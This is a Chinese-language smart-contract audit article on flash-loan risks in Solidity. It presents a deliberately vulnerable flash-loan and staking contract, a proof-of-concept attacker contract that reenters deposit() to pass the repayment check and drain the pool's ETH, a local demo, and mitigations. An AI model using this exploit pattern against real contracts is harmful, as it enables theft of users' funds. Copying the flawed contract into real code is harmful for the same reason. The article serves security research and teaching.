安全審計系列（一）：Solidity 語言閃電貸安全風險研究

接下來的幾篇文章，我們將陸續介紹 Solidity、Move 以及 Rust 語言閃電貸實現需要注意的問題以及解決辦法

封面：Photo by Mika Baumeister on Unsplash

上一篇文章我們介紹了各種語言閃電貸的實現方式，雖然各種閃電貸項目的實現思路都大同小異，但是小小的不同也可能會導致嚴重的安全隱患。 接下來的幾篇文章，我們將陸續介紹 Solidity、Move 以及 Rust 語言閃電貸實現需要注意的問題以及解決辦法。

今天我們先來介紹 Solidity 語言閃電貸需要注意的問題。

Solidity 閃電貸設計中，大部分項目會通過檢查自身餘額來判斷調用者是否歸還資金。 單獨看該方式是沒有問題的，因為無論調用者借錢後會進行什麼操作，最終都能保證合約自身資金安全。 但大多閃電貸專案都不會只提供一個閃電貸功能，合約中還會存在其他業務函數，如果其他函數中有對合約餘額產生影響的業務，便可能存在嚴重的安全隱患。

注：以下代碼僅做為閃電貸安全問題研究代碼，不排除存在其他安全問題

下列代碼是一個簡單的閃電貸示例合約，主要由兩個部分組成：

第一個部分是閃電貸的功能，首先記錄一個借出前合約所擁有的 ETH 數量，在借出 ETH 的同時，會調用調用者指定合約的指定函數，最後判斷本合約擁有的 ETH 數量是否大於等於借出之前的 ETH 數量加上 1/100 的手續費。

第二個部分便是提供閃電貸流動性的質押功能，用戶可以將 ETH 質押到閃電貸合約，通過閃電貸收取的手續費來賺取收益。

但是該合約中存在一個非常常見的重入漏洞，可以使得調用者在抵押的同時繞過閃電貸最終檢查。

pragma solidity ^0.8.0;
contract loan {
    string public  name="lp_Loan";    string public  symbol="LL";    uint256 public totalSupply;    mapping(address => uint256) public _balance;
    event Transfer(address indexed from, address indexed to, uint256 value);
    constructor() {    }
    function balanceOf(address owner) public view returns (uint256) {        return _balance[owner];    }
    function _mint(uint256 amount) internal {        _balance[msg.sender] = _balance[msg.sender] + amount;        totalSupply+=amount;        emit Transfer(address(0), msg.sender, amount);    }
    function _burn(uint256 amount) internal {        _balance[msg.sender] = _balance[msg.sender] - amount;        totalSupply = totalSupply - amount;        emit Transfer(msg.sender, address(0), amount);}//抵押 ETH，获得凭证币    function deposit() public payable returns(uint256){        uint256 value=address(this).balance - msg.value;        uint256 mint_amount;        if(totalSupply==0){            mint_amount=msg.value;        }        else{            mint_amount=msg.value*totalSupply/value;        }        _mint(mint_amount);        return mint_amount;    }//提取 ETH，销毁凭证币    function withdrew(uint256 amount) public returns(uint256){        uint256 value=address(this).balance;        uint256 send_amount;        send_amount = amount * value / totalSupply;        _burn(amount);        payable(msg.sender).call{value:send_amount}("");        return send_amount;}//闪电贷    function flash_loan(uint256 amountOut, address to, bytes calldata data) external {        uint256 value=address(this).balance;        require(amountOut <= value);        //发送借款并调用目标合约        payable(to).call{value:amountOut}(data);        value=value/100+value;        //还款检查，收取 1% 手续费（真实项目可能不会这么高）        require(address(this).balance>=value);    }
    receive() external payable { }}

接下來我們使用以下 PoC 代碼針對上述閃電貸專案進行攻擊測試，主要思路是利用閃電貸的回調函數進行重入攻擊，可將正常的業務行為覆蓋為還款行為，最終掏空閃電貸合約的 ETH。

首先調用 PoC 合約的 start（）函數，函數將發起閃電貸。 借貸金額為閃電貸合約的 ETH 餘額減一，該步驟是為了後續 deposit（）的時候不會導致計算錯誤，傳入 back（）函數做為回調參數。

然後在 back（）函數中，將借貸的 ETH 再加些許手續費抵押進閃電貸合約，會給 PoC 合約鑄造憑證代幣。

back（）函數結束時，閃電貸合約會檢查還款情況，由於抵押時更新了 ETH 餘額，所以檢查將通過。 最後 PoC 合約再利用憑證幣將 ETH 提取出來。

pragma solidity ^0.8.0;
interface loan {    function flash_loan(uint256 amountOut, address to, bytes calldata data) external;    function withdrew(uint256 amount) external returns(uint256);    function deposit() external payable returns(uint256);}contract poc {    address public owner;    address _loan;    loan i_loan;    uint256 mint_amount;    constructor(address loan_){        owner=msg.sender;        _loan=loan_;        i_loan=loan(loan_);    }    function start() public {        uint256 value_first = address(this).balance;        //发起闪电贷        i_loan.flash_loan(_loan.balance-1,address(this),abi.encodePacked(bytes4(keccak256("back()"))));        //提取 ETH        i_loan.withdrew(mint_amount);        //判断是否产生收益        require(address(this).balance > value_first);    }
function back() public payable {    //闪电贷回调，质押 ETH（此处并非一定质押 102% 的 ETH，但必须超过 101%）        mint_amount = i_loan.deposit{value:(msg.value*102/100)}();    }
    receive() external payable { }
    function getEth() external  {        payable(owner).transfer(address(this).balance);    }}

本地環境演示：

首先部署閃電貸合約，並通過某位址向其中抵押 50 枚 ETH，模擬項目開始使用。

部署 PoC 合約，並傳入 loan 合約位址，向其中轉入些許手續費，為之後過閃電貸手續費檢查做準備。

調用 PoC 合約的 start（）函數，可以發現，loan 的 ETH 已經被轉移到了 PoC 合約。 loan 合約僅剩 1 wei 的餘額。

PoC 合約擁有 52ETH，收益了 50ETH。

安全建議：

對於使用餘額來進行判斷的閃電貸專案，並且合約中還存在其他和餘額操作有關的業務函數，那麼需要在閃電貸函數和其他業務函數之間添加重入鎖，防止在閃電貸過程中再次進入合約，從而影響最終檢查。

或者使用單獨的帳本記錄其他業務的相關信息，閃電貸函數在做檢查的時候，要將單獨帳本進行共同檢查。  例如上述代碼，deposit 函數中增加一個帳本用於記錄抵押量，在 flash_loan 函數中，需要減去該抵押量帳本數據，再進行閃電貸前後判斷。

使用其他方式進行還款驗證，例如 ERC20 代幣的閃電貸，使用 SafeTansferfrom 函數進行轉帳，實行「強制」還款方案。

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